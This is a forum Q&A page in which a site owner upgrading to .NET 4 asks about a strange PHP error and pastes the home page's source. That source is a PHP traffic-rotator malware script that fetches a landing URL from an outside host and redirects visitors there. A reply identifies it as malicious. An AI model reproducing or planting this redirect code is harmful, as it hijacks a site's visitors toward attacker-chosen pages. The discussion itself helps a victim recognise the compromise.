dsn46282 2015-07-02 11:47
浏览 49

将站点升级到.NET 4 - 奇怪的PHP错误

i want to upgrade my site from .NET 2 to 4.

  1. fixed the web.config to meet 4 requirements

  2. set IIS for the website to .NET 4 (through Plesk)

  3. compiled all components to 4

now all the pages of the site are working except the Home Page which returns a strange PHP error: "0, 'url'=>$default_url); if ($settings['last']"

*on the below the full view source

anyone knows what seems to be the problem and how to fix it?

Many Thanks,

Assaf.

############################################################################
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. #
# The script must be in the folder prochmodenoy at 777. this is important!.#
############################################################################
$geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг
$timeout=120; #Время обновления (в секундах)
$default_url='http://www.google.com/robots.txt';
if (!$geturl)
exit();
#Если есть файлик данных, читаем его, иначе сливается трафик на default_url в том случае, если обноиться с экспортного урла не получится.
$tmp_settings = sys_get_temp_dir() . "/settings.json";
$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0, 'url'=>$default_url);
if ($settings['last']<time()-$timeout)>
{
if ($settings['url']=file_get_contents($geturl))
{
$settings['last']=time();
$fp=fopen($tmp_settings, 'w');
flock($fp, LOCK_EX);
fputs($fp, serialize($settings));
flock($fp, LOCK_UN);
fclose($fp);
}
}
$url=$settings['url']?$settings['url']:$default_url;
if(substr($url, 0, 4)!='http')
$url="http://".$url."/";
header("Location: $url");
exit();
?>
  • 写回答

1条回答 默认 最新

  • douxiong2738 2015-07-03 11:30
    关注

    Content of this script looks like malicious code which trying to redirect visitors from your site to some other URL.

    Think you can just move it to some other folder or name and asking your hoster or admin for security help.

    评论

报告相同问题?

悬赏问题

  • ¥20 完全没有学习过GAN,看了CSDN的一篇文章,里面有代码但是完全不知道如何操作
  • ¥15 使用ue5插件narrative时如何切换关卡也保存叙事任务记录
  • ¥20 软件测试决策法疑问求解答
  • ¥15 win11 23H2删除推荐的项目,支持注册表等
  • ¥15 matlab 用yalmip搭建模型,cplex求解,线性化处理的方法
  • ¥15 qt6.6.3 基于百度云的语音识别 不会改
  • ¥15 关于#目标检测#的问题:大概就是类似后台自动检测某下架商品的库存,在他监测到该商品上架并且可以购买的瞬间点击立即购买下单
  • ¥15 神经网络怎么把隐含层变量融合到损失函数中?
  • ¥15 lingo18勾选global solver求解使用的算法
  • ¥15 全部备份安卓app数据包括密码,可以复制到另一手机上运行